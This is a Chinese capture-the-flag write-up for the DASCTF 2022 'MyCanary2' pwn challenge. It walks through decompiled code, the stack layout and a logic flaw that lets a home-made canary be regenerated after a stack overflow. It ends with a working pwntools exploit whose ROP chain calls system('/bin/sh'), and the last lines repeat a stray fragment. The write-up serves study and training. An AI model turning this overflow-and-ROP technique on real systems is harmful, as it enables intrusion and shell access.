DASCTF2022七月赋能赛 MyCanary2

Uncategorized
3.4k words

Analyse

  • sub_4012B6()
unsigned int sub_4012B6()
{
  int v0; // eax
  int fd; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    printf("can't open /dev/urandom");
    exit(-1);
  }
  read(fd, &qword_4040D0, 8uLL);
  close(fd);
  v0 = time(0LL);
  srand(v0 ^ qword_4040D0);
  return alarm(0x14u);
}

这里通过time()时间戳和qword_4040D0作为seed,进行一个随机数的生成

  • sub_4013EC()

__int64 sub_4013EC()
{
  __int64 result; // rax
  char buf[88]; // [rsp+0h] [rbp-70h] BYREF
  __int64 v2; // [rsp+58h] [rbp-18h]
  int v3; // [rsp+68h] [rbp-8h]
  int v4; // [rsp+6Ch] [rbp-4h]

  v4 = 0;
  qword_4040D0 = (__int64)rand() << 32;
  qword_4040D0 += rand();
  v2 = qword_4040D0;
  puts("I have a secret. Can you find it?");
  while ( !v4 )
  {
    sub_401381();
    v3 = READ();
    switch ( v3 )
    {
      case 2:
        printf("My secret is %016lx\n", qword_4040D0);
        qword_4040D0 = (__int64)rand() << 32;
        qword_4040D0 += rand();
        v2 = qword_4040D0;
        printf("But now, I have a new Secret.");
        break;
      case 3:
        v4 = 1;
        break;
      case 1:
        puts("Show me the code:");
        read(0, buf, 0x100uLL);
        break;
    }
  }
  result = qword_4040D0;
  if ( v2 != qword_4040D0 )
  {
    printf("Hey, What are you doing?");
    exit(0);
  }
  return result;
}

case2:输出qword_4040D0,并且将rand()生成的随机数值左移运算32后赋给qword_4040D0,接着再加上一个随机数值,将qword_4040D0赋给v2,这个v2就起到一个canary的作用

case1:stackoverflow

程序退出前检查v2的值是否被改动过,如果与之前不等,则crash掉

.text:0000000000401573 ; __unwind {
.text:0000000000401573                 endbr64
.text:0000000000401577                 push    rbp
.text:0000000000401578                 mov     rbp, rsp
.text:000000000040157B                 lea     rdi, aBinSh     ; "/bin/sh"
.text:0000000000401582                 call    _system
.text:0000000000401587                 nop
.text:0000000000401588                 pop     rbp
.text:0000000000401589                 retn
.text:0000000000401589 ; } // starts at 401573

程序有后门函数,我们可以利用/bin/sh

-0000000000000070 buf             db 88 dup(?)
-0000000000000018 anonymous_0     dq ?              //v2
-0000000000000010                 db ? ; undefined
-000000000000000F                 db ? ; undefined
-000000000000000E                 db ? ; undefined
-000000000000000D                 db ? ; undefined
-000000000000000C                 db ? ; undefined
-000000000000000B                 db ? ; undefined
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008 var_8           dd ?             //v4
-0000000000000004 var_4           dd ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

栈的一个分布,v2在buf的下方,我们在利用stackoverflow的时候会将v2覆盖掉,这样退出程序必然会crash

逻辑漏洞:如果我们先利用stackoverflow漏洞,ROP,调用system,构造system(“/bin/sh”),再采用case2来生成canary,qword_4040D0的值会被赋给v2,这样虽然刚才v2被覆盖掉,但是现在已经是新生成的canary的值了,退出程序不会crash

刚拿到这道题的时候我在预测canary的值,没想到这么简单

exp

'''
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
'''
from pwn import *
import ctypes
context(os = "linux" , arch = "amd64" , log_level = "debug")
elf_path = "/mnt/c/Users/M1sceden4/Desktop/MyCanary2/tempdir/PWN附件/MyCanary2"
libc_func = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
local = int(input("0 for remote , 1 for local:\t"))
host = "node4.buuoj.cn"
port = 28118
if local == 1:
    io = process(elf_path)
elif local == 0:
    io = remote(host , port)
pop_rdi = 0x401613
ret = 0x40101a
elf = ELF(elf_path)
# io.recvuntil("Input your choice\n")
# io.sendline("2")
# io.recvuntil("My secret is ")
# qword_4040D0 = (io.recv(16)).decode()


# success("get qword_4040D0 : %s" % qword_4040D0)
# time = libc_func.time(0)

# libc_func.srand((time) ^ (qword_4040D0))
# new_secret = libc_func.rand() + (libc_func.rand() << 32)
# print(new_secret)
io.recvuntil("Input your choice\n")
io.sendline('1')
io.recvuntil("Show me the code:\n")
bin_sh = next(elf.search(b"/bin/sh"))
success('got binsh -> %s' % hex(bin_sh))
payload = b'a' * 0x68 + p32(1) + p32(0) + p64(0) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(elf.plt['system'])

io.sendline(payload)
io.recvuntil("Input your choice\n")
io.sendline("2")
io.recvuntil("Input your choice\n")
io.sendline("3")
io.interactive()hoice\n")
io.sendline("3")
io.interactive()